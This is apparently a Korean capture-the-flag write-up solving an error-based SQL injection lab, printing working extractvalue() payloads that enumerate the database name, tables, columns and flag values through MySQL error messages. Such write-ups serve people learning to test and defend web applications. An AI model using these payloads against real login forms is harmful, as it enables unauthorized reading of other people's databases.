SQL Injection 3, SQL Injection 4에 이어 이번 문제도 Error Based SQL Injection 문제이기 때문에
우선, 에러를 출력 시킬 수 있는 지 확인해보자.
normaltic' and (extractvalue('1',concat(0x3a,(select 'hanhxx')))) and '1'='1
바로, DB name을 확인하기 위해 Query를 짜보면 아래와 같다.
normaltic' and (extractvalue('1',concat(0x3a,(select database())))) and '1'='1
결과를 보면 DB name, sqli_2_2 값을 얻을 수 있다.
DB name을 알아냈으니, Table name 값도 얻어내 보자!!
normaltic' and (extractvalue('1',concat(0x3a,(select table_name from information_schema.tables where table_schema='sqli_2_2' limit 0,1)))) and '1'='1
첫 번째 table name은 flagTable_this
두 번째 table name은 member!
우리가 관심 있는 건 flag임으로
normaltic' and (extractvalue('1',concat(0x3a,(select column_name from information_schema.columns where table_name='flagTable_this' limit 0,1)))) and '1'='1
flagTable_this 안에 어떤 column이 있는 지 확인해보면
flagTable_this의 첫 번째 column은 idx
두 번째 column은 flag이다.
FLAG를 알아내기 위해서는 아마도 flagTable_this의 flag column을 확인해봐야 할 듯하다.
이번에는 여러 column이 들어있는 데 첫 번째 column 값부터 확인해보면
1) hello
2) what are you looking for?
3) hahahahaha
4) Funnnyyyyyyy
5) hahahahaha
6) Funnnyyyyyyy
7) gogogo
8) moremoremoremore
9) I will not give you flag
10) Get Away
11) kkkkkkk
12) -_-
13) breeeeeg
14) {FLAG}
15) kakakakakaka
16) i gave you flag
17) go home